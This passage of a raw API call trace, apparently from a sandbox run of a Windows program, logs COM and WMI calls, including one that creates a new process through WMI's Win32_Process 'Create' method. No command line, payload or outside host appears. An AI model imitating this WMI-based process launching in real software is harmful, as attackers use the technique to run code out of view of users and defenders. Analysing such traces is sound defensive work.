[1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0071.985] IUnknown:Release (This=0x11e91d8) returned 0x3 [0071.985] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0071.985] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0071.985] IUnknown:QueryInterface (in: This=0x11e91d0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0071.985] IUnknown:Release (This=0x11e91d0) returned 0x2 [0071.986] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0071.986] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0071.986] IUnknown:QueryInterface (in: This=0x11e91d0, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0071.988] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0071.988] IUnknown:QueryInterface (in: This=0x11e91d0, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0071.988] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0071.988] IUnknown:AddRef (This=0x11e91d0) returned 0x3 [0071.988] IWbemClassObject:Put (This=0x1bf1ba70, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11e91d0, varVal2=0x0), Type=0) returned 0x0 [0071.988] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0bf0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0071.988] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0bf0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0071.988] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0bf0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0071.988] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0cb0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0071.988] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0cb0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0071.988] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0cb0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0071.988] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0bf0, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0071.988] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0bf0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0071.988] IWbemServices:ExecMethod (in: This=0x1bed3350, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf1ba70, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf1bd20, ppCallResult=0x0) returned 0x0 [0072.161] IWbemClassObject:Get (in: This=0x1bf1bd20, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b78b0*=0, plFlavor=0x29b78b4*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfe8, varVal2=0x0), pType=0x29b78b0*=19, plFlavor=0x29b78b4*=0) returned 0x0 [0072.162] IWbemClassObject:Get (in: This=0x1bf1bd20, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b78b0*=19, plFlavor=0x29b78b4*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfe8, varVal2=0x0), pType=0x29b78b0*=19, plFlavor=0x29b78b4*=0) returned 0x0 [0072.162] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0072.163] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0072.163] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0072.163] IUnknown:Release (This=0x111f638) returned 0x1 [0072.165] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11e0f80) returned 0x0 [0072.165] WbemDefPath:IUnknown:QueryInterface (in: This=0x11e0f80, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0072.165] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11e0f80, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bea05f0) returned 0x0 [0072.165] WbemDefPath:IUnknown:Release (This=0x11e0f80) returned 0x0 [0072.165] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea05f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bea05f0) returned 0x0 [0072.165] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea05f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0072.166] WbemDefPath:IUnknown:AddRef (This=0x1bea05f0) returned 0x3 [0072.166] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea05f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0072.166] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea05f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0072.166] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea05f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11e0ec0) returned 0x0 [0072.166] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11e0ec0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0072.166] WbemDefPath:IUnknown:Release (This=0x11e0ec0) returned 0x3 [0072.166] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0072.166] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0072.166] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea05f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0072.166] WbemDefPath:IUnknown:Release (This=0x1bea05f0) returned 0x2 [0072.166] WbemDefPath:IUnknown:Release (This=0x1bea05f0) returned 0x1 [0072.166] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0072.166] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0072.166] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea05f0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bea05f0) returned 0x0 [0072.166] WbemDefPath:IUnknown:AddRef (This=0x1bea05f0) returned 0x3 [0072.166] WbemDefPath:IUnknown:Release (This=0x1bea05f0) returned 0x2 [0072.167] WbemDefPath:IWbemPath:SetText (This=0x1bea05f0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0072.167] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea05f0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0072.167] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0072.167] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0072.167] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea05f0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0072.167] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea05f0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0072.167] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea05f0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0072.167] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0072.167] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0072.167] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0072.167] IUnknown:Release (This=0x111f638) returned 0x1 [0072.169] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11e0f00) returned 0x0 [0072.169] WbemDefPath:IUnknown:QueryInterface (in: This=0x11e0f00, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0072.170] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11e0f00, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bea0530) returned 0x0 [0072.170] WbemDefPath:IUnknown:Release (This=0x11e0f00) returned 0x0 [0072.170] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0530, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bea0530) returned 0x0 [0072.170] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0530, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0072.170] WbemDefPath:IUnknown:AddRef (This=0x1bea0530) returned 0x3 [0072.170] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0530, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0072.170] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0530, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0072.170] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0530, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11e0e20) returned 0x0 [0072.170] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11e0e20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0072.170] WbemDefPath:IUnknown:Release (This=0x11e0e20) returned 0x3 [0072.170] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0072.171] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0072.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0530, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0072.171] WbemDefPath:IUnknown:Release (This=0x1bea0530) returned 0x2 [0072.171] WbemDefPath:IUnknown:Release (This=0x1bea0530) returned 0x1 [0072.171] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0072.171] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0072.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0530, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bea0530) returned 0x0 [0072.171] WbemDefPath:IUnknown:AddRef (This=0x1bea0530) returned 0x3 [0072.171] WbemDefPath:IUnknown:Release (This=0x1bea0530) returned 0x2 [0072.171] WbemDefPath:IWbemPath:SetText (This=0x1bea0530, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0072.171] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0530, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0072.171] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0530, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0072.171] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0530, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0072.171] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea0530, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0072.171] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0530, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0072.171] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea0530, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0072.171] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0530, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0072.171] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0072.171] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0072.171] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0072.171] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0072.172] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0072.172] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0072.172] IUnknown:Release (This=0x111f638) returned 0x1 [0072.174] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x11e0c80) returned 0x0 [0072.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x11e0c80, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0072.174] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11e0c80, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bea0470) returned 0x0 [0072.174] WbemDefPath:IUnknown:Release (This=0x11e0c80) returned 0x0 [0072.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0470, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bea0470) returned 0x0 [0072.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0470, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0072.175] WbemDefPath:IUnknown:AddRef (This=0x1bea0470) returned 0x3 [0072.175] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0470, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0072.175] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0470, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0072.175] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0470, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x11e0c00) returned 0x0 [0072.175] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11e0c00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0072.175] WbemDefPath:IUnknown:Release (This=0x11e0c00) returned 0x3 [0072.175] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0072.175] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0072.175] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0470, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0072.175] WbemDefPath:IUnknown:Release (This=0x1bea0470) returned 0x2 [0072.175] WbemDefPath:IUnknown:Release (This=0x1bea0470) returned 0x1 [0072.175] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0072.175] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0072.175] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0470, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bea0470) returned 0x0 [0072.175] WbemDefPath:IUnknown:AddRef (This=0x1bea0470) returned 0x3 [0072.175] WbemDefPath:IUnknown:Release (This=0x1bea0470) returned 0x2 [0072.175] WbemDefPath:IWbemPath:SetText (This=0x1bea0470, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0072.175] 